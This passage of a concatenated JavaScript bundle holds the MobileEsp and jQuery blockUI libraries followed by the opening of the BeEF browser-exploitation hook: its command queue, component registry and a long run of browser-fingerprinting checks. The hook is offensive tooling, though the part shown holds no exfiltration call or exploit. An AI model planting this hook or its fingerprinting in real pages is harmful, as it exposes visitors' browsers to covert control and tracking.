2725 this.DetectTierRichCss() ||
2726 this.DetectTierTablet())
2727 return false;
2728
2729 //Otherwise, if it's mobile, it's OK
2730 if (this.DetectMobileLong())
2731 return true;
2732
2733 else
2734 return false;
2735 }
2736
2737};
2738
2739//Initialize the MobileEsp object
2740MobileEsp.InitDeviceScan();
2741
2742
2743
2744
2745
2746/*!
2747 * jQuery blockUI plugin
2748 * Version 2.70.0-2014.11.23
2749 * Requires jQuery v1.7 or later
2750 *
2751 * Examples at: http://malsup.com/jquery/block/
2752 * Copyright (c) 2007-2013 M. Alsup
2753 * Dual licensed under the MIT and GPL licenses:
2754 * http://www.opensource.org/licenses/mit-license.php
2755 * http://www.gnu.org/licenses/gpl.html
2756 *
2757 * Thanks to Amir-Hossein Sobhi for some excellent contributions!
2758 */
2759
2760;(function() {
2761/*jshint eqeqeq:false curly:false latedef:false */
2762"use strict";
2763
2764 function setup($) {
2765 $.fn._fadeIn = $.fn.fadeIn;
2766
2767 var noOp = $.noop || function() {};
2768
2769 // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
2770 // confusing userAgent strings on Vista)
2771 var msie = /MSIE/.test(navigator.userAgent);
2772 var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
2773 var mode = document.documentMode || 0;
2774 var setExpr = $.isFunction( document.createElement('div').style.setExpression );
2775
2776 // global $ methods for blocking/unblocking the entire page
2777 $.blockUI = function(opts) { install(window, opts); };
2778 $.unblockUI = function(opts) { remove(window, opts); };
2779
2780 // convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
2781 $.growlUI = function(title, message, timeout, onClose) {
2782 var $m = $('<div class="growlUI"></div>');
2783 if (title) $m.append('<h1>'+title+'</h1>');
2784 if (message) $m.append('<h2>'+message+'</h2>');
2785 if (timeout === undefined) timeout = 3000;
2786
2787 // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
2788 var callBlock = function(opts) {
2789 opts = opts || {};
2790
2791 $.blockUI({
2792 message: $m,
2793 fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700,
2794 fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
2795 timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
2796 centerY: false,
2797 showOverlay: false,
2798 onUnblock: onClose,
2799 css: $.blockUI.defaults.growlCSS
2800 });
2801 };
2802
2803 callBlock();
2804 var nonmousedOpacity = $m.css('opacity');
2805 $m.mouseover(function() {
2806 callBlock({
2807 fadeIn: 0,
2808 timeout: 30000
2809 });
2810
2811 var displayBlock = $('.blockMsg');
2812 displayBlock.stop(); // cancel fadeout if it has started
2813 displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
2814 }).mouseout(function() {
2815 $('.blockMsg').fadeOut(1000);
2816 });
2817 // End konapun additions
2818 };
2819
2820 // plugin method for blocking element content
2821 $.fn.block = function(opts) {
2822 if ( this[0] === window ) {
2823 $.blockUI( opts );
2824 return this;
2825 }
2826 var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
2827 this.each(function() {
2828 var $el = $(this);
2829 if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
2830 return;
2831 $el.unblock({ fadeOut: 0 });
2832 });
2833
2834 return this.each(function() {
2835 if ($.css(this,'position') == 'static') {
2836 this.style.position = 'relative';
2837 $(this).data('blockUI.static', true);
2838 }
2839 this.style.zoom = 1; // force 'hasLayout' in ie
2840 install(this, opts);
2841 });
2842 };
2843
2844 // plugin method for unblocking element content
2845 $.fn.unblock = function(opts) {
2846 if ( this[0] === window ) {
2847 $.unblockUI( opts );
2848 return this;
2849 }
2850 return this.each(function() {
2851 remove(this, opts);
2852 });
2853 };
2854
2855 $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
2856
2857 // override these in your code to change the default behavior and style
2858 $.blockUI.defaults = {
2859 // message displayed when blocking (use null for no message)
2860 message: '<h1>Please wait...</h1>',
2861
2862 title: null, // title string; only used when theme == true
2863 draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
2864
2865 theme: false, // set to true to use with jQuery UI themes
2866
2867 // styles for the message when blocking; if you wish to disable
2868 // these and use an external stylesheet then do this in your code:
2869 // $.blockUI.defaults.css = {};
2870 css: {
2871 padding: 0,
2872 margin: 0,
2873 width: '30%',
2874 top: '40%',
2875 left: '35%',
2876 textAlign: 'center',
2877 color: '#000',
2878 border: '3px solid #aaa',
2879 backgroundColor:'#fff',
2880 cursor: 'wait'
2881 },
2882
2883 // minimal style set used when themes are used
2884 themedCSS: {
2885 width: '30%',
2886 top: '40%',
2887 left: '35%'
2888 },
2889
2890 // styles for the overlay
2891 overlayCSS: {
2892 backgroundColor: '#000',
2893 opacity: 0.6,
2894 cursor: 'wait'
2895 },
2896
2897 // style to replace wait cursor before unblocking to correct issue
2898 // of lingering wait cursor
2899 cursorReset: 'default',
2900
2901 // styles applied when using $.growlUI
2902 growlCSS: {
2903 width: '350px',
2904 top: '10px',
2905 left: '',
2906 right: '10px',
2907 border: 'none',
2908 padding: '5px',
2909 opacity: 0.6,
2910 cursor: 'default',
2911 color: '#fff',
2912 backgroundColor: '#000',
2913 '-webkit-border-radius':'10px',
2914 '-moz-border-radius': '10px',
2915 'border-radius': '10px'
2916 },
2917
2918 // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
2919 // (hat tip to Jorge H. N. de Vasconcelos)
2920 /*jshint scripturl:true */
2921 iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
2922
2923 // force usage of iframe in non-IE browsers (handy for blocking applets)
2924 forceIframe: false,
2925
2926 // z-index for the blocking overlay
2927 baseZ: 1000,
2928
2929 // set these to true to have the message automatically centered
2930 centerX: true, // <-- only effects element blocking (page block controlled via css above)
2931 centerY: true,
2932
2933 // allow body element to be stetched in ie6; this makes blocking look better
2934 // on "short" pages. disable if you wish to prevent changes to the body height
2935 allowBodyStretch: true,
2936
2937 // enable if you want key and mouse events to be disabled for content that is blocked
2938 bindEvents: true,
2939
2940 // be default blockUI will supress tab navigation from leaving blocking content
2941 // (if bindEvents is true)
2942 constrainTabKey: true,
2943
2944 // fadeIn time in millis; set to 0 to disable fadeIn on block
2945 fadeIn: 200,
2946
2947 // fadeOut time in millis; set to 0 to disable fadeOut on unblock
2948 fadeOut: 400,
2949
2950 // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
2951 timeout: 0,
2952
2953 // disable if you don't want to show the overlay
2954 showOverlay: true,
2955
2956 // if true, focus will be placed in the first available input field when
2957 // page blocking
2958 focusInput: true,
2959
2960 // elements that can receive focus
2961 focusableElements: ':input:enabled:visible',
2962
2963 // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
2964 // no longer needed in 2012
2965 // applyPlatformOpacityRules: true,
2966
2967 // callback method invoked when fadeIn has completed and blocking message is visible
2968 onBlock: null,
2969
2970 // callback method invoked when unblocking has completed; the callback is
2971 // passed the element that has been unblocked (which is the window object for page
2972 // blocks) and the options that were passed to the unblock call:
2973 // onUnblock(element, options)
2974 onUnblock: null,
2975
2976 // callback method invoked when the overlay area is clicked.
2977 // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
2978 onOverlayClick: null,
2979
2980 // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
2981 quirksmodeOffsetHack: 4,
2982
2983 // class name of the message block
2984 blockMsgClass: 'blockMsg',
2985
2986 // if it is already blocked, then ignore it (don't unblock and reblock)
2987 ignoreIfBlocked: false
2988 };
2989
2990 // private data and functions follow...
2991
2992 var pageBlock = null;
2993 var pageBlockEls = [];
2994
2995 function install(el, opts) {
2996 var css, themedCSS;
2997 var full = (el == window);
2998 var msg = (opts && opts.message !== undefined ? opts.message : undefined);
2999 opts = $.extend({}, $.blockUI.defaults, opts || {});
3000
3001 if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
3002 return;
3003
3004 opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
3005 css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
3006 if (opts.onOverlayClick)
3007 opts.overlayCSS.cursor = 'pointer';
3008
3009 themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
3010 msg = msg === undefined ? opts.message : msg;
3011
3012 // remove the current block (if there is one)
3013 if (full && pageBlock)
3014 remove(window, {fadeOut:0});
3015
3016 // if an existing element is being used as the blocking content then we capture
3017 // its current place in the DOM (and current display style) so we can restore
3018 // it when we unblock
3019 if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
3020 var node = msg.jquery ? msg[0] : msg;
3021 var data = {};
3022 $(el).data('blockUI.history', data);
3023 data.el = node;
3024 data.parent = node.parentNode;
3025 data.display = node.style.display;
3026 data.position = node.style.position;
3027 if (data.parent)
3028 data.parent.removeChild(node);
3029 }
3030
3031 $(el).data('blockUI.onUnblock', opts.onUnblock);
3032 var z = opts.baseZ;
3033
3034 // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
3035 // layer1 is the iframe layer which is used to supress bleed through of underlying content
3036 // layer2 is the overlay layer which has opacity and a wait cursor (by default)
3037 // layer3 is the message content that is displayed while blocking
3038 var lyr1, lyr2, lyr3, s;
3039 if (msie || opts.forceIframe)
3040 lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
3041 else
3042 lyr1 = $('<div class="blockUI" style="display:none"></div>');
3043
3044 if (opts.theme)
3045 lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
3046 else
3047 lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
3048
3049 if (opts.theme && full) {
3050 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
3051 if ( opts.title ) {
3052 s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
3053 }
3054 s += '<div class="ui-widget-content ui-dialog-content"></div>';
3055 s += '</div>';
3056 }
3057 else if (opts.theme) {
3058 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
3059 if ( opts.title ) {
3060 s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
3061 }
3062 s += '<div class="ui-widget-content ui-dialog-content"></div>';
3063 s += '</div>';
3064 }
3065 else if (full) {
3066 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
3067 }
3068 else {
3069 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
3070 }
3071 lyr3 = $(s);
3072
3073 // if we have a message, style it
3074 if (msg) {
3075 if (opts.theme) {
3076 lyr3.css(themedCSS);
3077 lyr3.addClass('ui-widget-content');
3078 }
3079 else
3080 lyr3.css(css);
3081 }
3082
3083 // style the overlay
3084 if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
3085 lyr2.css(opts.overlayCSS);
3086 lyr2.css('position', full ? 'fixed' : 'absolute');
3087
3088 // make iframe layer transparent in IE
3089 if (msie || opts.forceIframe)
3090 lyr1.css('opacity',0.0);
3091
3092 //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
3093 var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
3094 $.each(layers, function() {
3095 this.appendTo($par);
3096 });
3097
3098 if (opts.theme && opts.draggable && $.fn.draggable) {
3099 lyr3.draggable({
3100 handle: '.ui-dialog-titlebar',
3101 cancel: 'li'
3102 });
3103 }
3104
3105 // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
3106 var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
3107 if (ie6 || expr) {
3108 // give body 100% height
3109 if (full && opts.allowBodyStretch && $.support.boxModel)
3110 $('html,body').css('height','100%');
3111
3112 // fix ie6 issue when blocked element has a border width
3113 if ((ie6 || !$.support.boxModel) && !full) {
3114 var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
3115 var fixT = t ? '(0 - '+t+')' : 0;
3116 var fixL = l ? '(0 - '+l+')' : 0;
3117 }
3118
3119 // simulate fixed position
3120 $.each(layers, function(i,o) {
3121 var s = o[0].style;
3122 s.position = 'absolute';
3123 if (i < 2) {
3124 if (full)
3125 s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
3126 else
3127 s.setExpression('height','this.parentNode.offsetHeight + "px"');
3128 if (full)
3129 s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
3130 else
3131 s.setExpression('width','this.parentNode.offsetWidth + "px"');
3132 if (fixL) s.setExpression('left', fixL);
3133 if (fixT) s.setExpression('top', fixT);
3134 }
3135 else if (opts.centerY) {
3136 if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
3137 s.marginTop = 0;
3138 }
3139 else if (!opts.centerY && full) {
3140 var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
3141 var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
3142 s.setExpression('top',expression);
3143 }
3144 });
3145 }
3146
3147 // show the message
3148 if (msg) {
3149 if (opts.theme)
3150 lyr3.find('.ui-widget-content').append(msg);
3151 else
3152 lyr3.append(msg);
3153 if (msg.jquery || msg.nodeType)
3154 $(msg).show();
3155 }
3156
3157 if ((msie || opts.forceIframe) && opts.showOverlay)
3158 lyr1.show(); // opacity is zero
3159 if (opts.fadeIn) {
3160 var cb = opts.onBlock ? opts.onBlock : noOp;
3161 var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
3162 var cb2 = msg ? cb : noOp;
3163 if (opts.showOverlay)
3164 lyr2._fadeIn(opts.fadeIn, cb1);
3165 if (msg)
3166 lyr3._fadeIn(opts.fadeIn, cb2);
3167 }
3168 else {
3169 if (opts.showOverlay)
3170 lyr2.show();
3171 if (msg)
3172 lyr3.show();
3173 if (opts.onBlock)
3174 opts.onBlock.bind(lyr3)();
3175 }
3176
3177 // bind key and mouse events
3178 bind(1, el, opts);
3179
3180 if (full) {
3181 pageBlock = lyr3[0];
3182 pageBlockEls = $(opts.focusableElements,pageBlock);
3183 if (opts.focusInput)
3184 setTimeout(focus, 20);
3185 }
3186 else
3187 center(lyr3[0], opts.centerX, opts.centerY);
3188
3189 if (opts.timeout) {
3190 // auto-unblock
3191 var to = setTimeout(function() {
3192 if (full)
3193 $.unblockUI(opts);
3194 else
3195 $(el).unblock(opts);
3196 }, opts.timeout);
3197 $(el).data('blockUI.timeout', to);
3198 }
3199 }
3200
3201 // remove the block
3202 function remove(el, opts) {
3203 var count;
3204 var full = (el == window);
3205 var $el = $(el);
3206 var data = $el.data('blockUI.history');
3207 var to = $el.data('blockUI.timeout');
3208 if (to) {
3209 clearTimeout(to);
3210 $el.removeData('blockUI.timeout');
3211 }
3212 opts = $.extend({}, $.blockUI.defaults, opts || {});
3213 bind(0, el, opts); // unbind events
3214
3215 if (opts.onUnblock === null) {
3216 opts.onUnblock = $el.data('blockUI.onUnblock');
3217 $el.removeData('blockUI.onUnblock');
3218 }
3219
3220 var els;
3221 if (full) // crazy selector to handle odd field errors in ie6/7
3222 els = $('body').children().filter('.blockUI').add('body > .blockUI');
3223 else
3224 els = $el.find('>.blockUI');
3225
3226 // fix cursor issue
3227 if ( opts.cursorReset ) {
3228 if ( els.length > 1 )
3229 els[1].style.cursor = opts.cursorReset;
3230 if ( els.length > 2 )
3231 els[2].style.cursor = opts.cursorReset;
3232 }
3233
3234 if (full)
3235 pageBlock = pageBlockEls = null;
3236
3237 if (opts.fadeOut) {
3238 count = els.length;
3239 els.stop().fadeOut(opts.fadeOut, function() {
3240 if ( --count === 0)
3241 reset(els,data,opts,el);
3242 });
3243 }
3244 else
3245 reset(els, data, opts, el);
3246 }
3247
3248 // move blocking element back into the DOM where it started
3249 function reset(els,data,opts,el) {
3250 var $el = $(el);
3251 if ( $el.data('blockUI.isBlocked') )
3252 return;
3253
3254 els.each(function(i,o) {
3255 // remove via DOM calls so we don't lose event handlers
3256 if (this.parentNode)
3257 this.parentNode.removeChild(this);
3258 });
3259
3260 if (data && data.el) {
3261 data.el.style.display = data.display;
3262 data.el.style.position = data.position;
3263 data.el.style.cursor = 'default'; // #59
3264 if (data.parent)
3265 data.parent.appendChild(data.el);
3266 $el.removeData('blockUI.history');
3267 }
3268
3269 if ($el.data('blockUI.static')) {
3270 $el.css('position', 'static'); // #22
3271 }
3272
3273 if (typeof opts.onUnblock == 'function')
3274 opts.onUnblock(el,opts);
3275
3276 // fix issue in Safari 6 where block artifacts remain until reflow
3277 var body = $(document.body), w = body.width(), cssW = body[0].style.width;
3278 body.width(w-1).width(w);
3279 body[0].style.width = cssW;
3280 }
3281
3282 // bind/unbind the handler
3283 function bind(b, el, opts) {
3284 var full = el == window, $el = $(el);
3285
3286 // don't bother unbinding if there is nothing to unbind
3287 if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
3288 return;
3289
3290 $el.data('blockUI.isBlocked', b);
3291
3292 // don't bind events when overlay is not in use or if bindEvents is false
3293 if (!full || !opts.bindEvents || (b && !opts.showOverlay))
3294 return;
3295
3296 // bind anchors and inputs for mouse and key events
3297 var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
3298 if (b)
3299 $(document).bind(events, opts, handler);
3300 else
3301 $(document).unbind(events, handler);
3302
3303 // former impl...
3304 // var $e = $('a,:input');
3305 // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
3306 }
3307
3308 // event handler to suppress keyboard/mouse events when blocking
3309 function handler(e) {
3310 // allow tab navigation (conditionally)
3311 if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
3312 if (pageBlock && e.data.constrainTabKey) {
3313 var els = pageBlockEls;
3314 var fwd = !e.shiftKey && e.target === els[els.length-1];
3315 var back = e.shiftKey && e.target === els[0];
3316 if (fwd || back) {
3317 setTimeout(function(){focus(back);},10);
3318 return false;
3319 }
3320 }
3321 }
3322 var opts = e.data;
3323 var target = $(e.target);
3324 if (target.hasClass('blockOverlay') && opts.onOverlayClick)
3325 opts.onOverlayClick(e);
3326
3327 // allow events within the message content
3328 if (target.parents('div.' + opts.blockMsgClass).length > 0)
3329 return true;
3330
3331 // allow events for content that is not being blocked
3332 return target.parents().children().filter('div.blockUI').length === 0;
3333 }
3334
3335 function focus(back) {
3336 if (!pageBlockEls)
3337 return;
3338 var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
3339 if (e)
3340 e.focus();
3341 }
3342
3343 function center(el, x, y) {
3344 var p = el.parentNode, s = el.style;
3345 var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
3346 var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
3347 if (x) s.left = l > 0 ? (l+'px') : '0';
3348 if (y) s.top = t > 0 ? (t+'px') : '0';
3349 }
3350
3351 function sz(el, p) {
3352 return parseInt($.css(el,p),10)||0;
3353 }
3354
3355 }
3356
3357
3358 /*global define:true */
3359 if (typeof define === 'function' && define.amd && define.amd.jQuery) {
3360 define(['jquery'], setup);
3361 } else {
3362 setup(jQuery);
3363 }
3364
3365})();
3366
3367
3368//
3369// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
3370// Browser Exploitation Framework (BeEF) - http://beefproject.com
3371// See the file 'doc/COPYING' for copying permission
3372//
3373
3374/*!
3375 * BeEF JS Library 0.4.7.0-alpha
3376 * Register the BeEF JS on the window object.
3377 */
3378
3379$j = jQuery.noConflict();
3380
3381if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
3382
3383 var BeefJS = {
3384
3385 version: '0.4.7.0-alpha',
3386
3387 // This get set to true during window.onload(). It's a useful hack when messing with document.write().
3388 pageIsLoaded: false,
3389
3390 // An array containing functions to be executed by the window.onpopstate() method.
3391 onpopstate: new Array(),
3392
3393 // An array containing functions to be executed by the window.onclose() method.
3394 onclose: new Array(),
3395
3396 // An array containing functions to be executed by Beef.
3397 commands: new Array(),
3398
3399 // An array containing all the BeEF JS components.
3400 components: new Array(),
3401
3402 /**
3403 * Adds a function to display debug messages (wraps console.log())
3404 * @param: {string} the debug string to return
3405 */
3406 debug: function(msg) {
3407 if (!false) return;
3408 if (typeof console == "object" && typeof console.log == "function") {
3409 var currentdate = new Date();
3410 var pad = function(n){return ("0" + n).slice(-2);}
3411 var datetime = currentdate.getFullYear() + "-"
3412 + pad(currentdate.getMonth()+1) + "-"
3413 + pad(currentdate.getDate()) + " "
3414 + pad(currentdate.getHours()) + ":"
3415 + pad(currentdate.getMinutes()) + ":"
3416 + pad(currentdate.getSeconds());
3417 console.log('['+datetime+'] '+msg);
3418 } else {
3419 // TODO: maybe add a callback to BeEF server for debugging purposes
3420 //window.alert(msg);
3421 }
3422 },
3423
3424 /**
3425 * Adds a function to execute.
3426 * @param: {Function} the function to execute.
3427 */
3428 execute: function(fn) {
3429 if ( typeof beef.websocket == "undefined"){
3430 this.commands.push(fn);
3431 }else{
3432 fn();
3433 }
3434 },
3435
3436 /**
3437 * Registers a component in BeEF JS.
3438 * @params: {String} the component.
3439 *
3440 * Components are very important to register so the framework does not
3441 * send them back over and over again.
3442 */
3443 regCmp: function(component) {
3444 this.components.push(component);
3445 }
3446
3447 };
3448
3449 window.beef = BeefJS;
3450}
3451
3452
3453//
3454// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
3455// Browser Exploitation Framework (BeEF) - http://beefproject.com
3456// See the file 'doc/COPYING' for copying permission
3457//
3458
3459/**
3460 * @literal object: beef.browser
3461 *
3462 * Basic browser functions.
3463 */
3464beef.browser = {
3465
3466 /**
3467 * Returns the user agent that the browser is claiming to be.
3468 * @example: beef.browser.getBrowserReportedName()
3469 */
3470 getBrowserReportedName: function () {
3471 return navigator.userAgent;
3472 },
3473
3474 /**
3475 * Returns true if Avant Browser.
3476 * @example: beef.browser.isA()
3477 */
3478 isA: function () {
3479 return window.navigator.userAgent.match(/Avant TriCore/) != null;
3480 },
3481
3482 /**
3483 * Returns true if Iceweasel.
3484 * @example: beef.browser.isIceweasel()
3485 */
3486 isIceweasel: function () {
3487 return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
3488 },
3489
3490 /**
3491 * Returns true if Midori.
3492 * @example: beef.browser.isMidori()
3493 */
3494 isMidori: function () {
3495 return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
3496 },
3497
3498 /**
3499 * Returns true if Odyssey
3500 * @example: beef.browser.isOdyssey()
3501 */
3502 isOdyssey: function () {
3503 return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
3504 },
3505
3506 /**
3507 * Returns true if Brave
3508 * @example: beef.browser.isBrave()
3509 */
3510 isBrave: function(){
3511 return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
3512 },
3513
3514 /**
3515 * Returns true if IE6.
3516 * @example: beef.browser.isIE6()
3517 */
3518 isIE6: function () {
3519 return !window.XMLHttpRequest && !window.globalStorage;
3520 },
3521
3522 /**
3523 * Returns true if IE7.
3524 * @example: beef.browser.isIE7()
3525 */
3526 isIE7: function () {
3527 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
3528 },
3529
3530 /**
3531 * Returns true if IE8.
3532 * @example: beef.browser.isIE8()
3533 */
3534 isIE8: function () {
3535 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
3536 },
3537
3538 /**
3539 * Returns true if IE9.
3540 * @example: beef.browser.isIE9()
3541 */
3542 isIE9: function () {
3543 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
3544 },
3545
3546 /**
3547 *
3548 * Returns true if IE10.
3549 * @example: beef.browser.isIE10()
3550 */
3551 isIE10: function () {
3552 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
3553 },
3554
3555 /**
3556 *
3557 * Returns true if IE11.
3558 * @example: beef.browser.isIE11()
3559 */
3560 isIE11: function () {
3561 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
3562 },
3563
3564 /**
3565 *
3566 * Returns true if Edge.
3567 * @example: beef.browser.isEdge()
3568 */
3569 isEdge: function () {
3570 return !beef.browser.isIE() && !!window.StyleMedia;
3571 },
3572
3573 /**
3574 * Returns true if IE.
3575 * @example: beef.browser.isIE()
3576 */
3577 isIE: function () {
3578 return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
3579 },
3580
3581 /**
3582 * Returns true if FF2.
3583 * @example: beef.browser.isFF2()
3584 */
3585 isFF2: function () {
3586 return !!window.globalStorage && !window.postMessage;
3587 },
3588
3589 /**
3590 * Returns true if FF3.
3591 * @example: beef.browser.isFF3()
3592 */
3593 isFF3: function () {
3594 return !!window.globalStorage && !!window.postMessage && !JSON.parse;
3595 },
3596
3597 /**
3598 * Returns true if FF3.5.
3599 * @example: beef.browser.isFF3_5()
3600 */
3601 isFF3_5: function () {
3602 return !!window.globalStorage && !!JSON.parse && !window.FileReader;
3603 },
3604
3605 /**
3606 * Returns true if FF3.6.
3607 * @example: beef.browser.isFF3_6()
3608 */
3609 isFF3_6: function () {
3610 return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
3611 },
3612
3613 /**
3614 * Returns true if FF4.
3615 * @example: beef.browser.isFF4()
3616 */
3617 isFF4: function () {
3618 return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
3619 },
3620
3621 /**
3622 * Returns true if FF5.
3623 * @example: beef.browser.isFF5()
3624 */
3625 isFF5: function () {
3626 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
3627 },
3628
3629 /**
3630 * Returns true if FF6.
3631 * @example: beef.browser.isFF6()
3632 */
3633 isFF6: function () {
3634 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
3635 },
3636
3637 /**
3638 * Returns true if FF7.
3639 * @example: beef.browser.isFF7()
3640 */
3641 isFF7: function () {
3642 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
3643 },
3644
3645 /**
3646 * Returns true if FF8.
3647 * @example: beef.browser.isFF8()
3648 */
3649 isFF8: function () {
3650 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
3651 },
3652
3653 /**
3654 * Returns true if FF9.
3655 * @example: beef.browser.isFF9()
3656 */
3657 isFF9: function () {
3658 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
3659 },
3660
3661 /**
3662 * Returns true if FF10.
3663 * @example: beef.browser.isFF10()
3664 */
3665 isFF10: function () {
3666 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
3667 },
3668
3669 /**
3670 * Returns true if FF11.
3671 * @example: beef.browser.isFF11()
3672 */
3673 isFF11: function () {
3674 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
3675 },
3676
3677 /**
3678 * Returns true if FF12
3679 * @example: beef.browser.isFF12()
3680 */
3681 isFF12: function () {
3682 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
3683 },
3684
3685 /**
3686 * Returns true if FF13
3687 * @example: beef.browser.isFF13()
3688 */
3689 isFF13: function () {
3690 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
3691 },
3692
3693 /**
3694 * Returns true if FF14
3695 * @example: beef.browser.isFF14()
3696 */
3697 isFF14: function () {
3698 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
3699 },
3700
3701 /**
3702 * Returns true if FF15
3703 * @example: beef.browser.isFF15()
3704 */
3705 isFF15: function () {
3706 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
3707 },
3708
3709 /**
3710 * Returns true if FF16
3711 * @example: beef.browser.isFF16()
3712 */
3713 isFF16: function () {
3714 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
3715 },
3716
3717 /**
3718 * Returns true if FF17
3719 * @example: beef.browser.isFF17()
3720 */
3721 isFF17: function () {
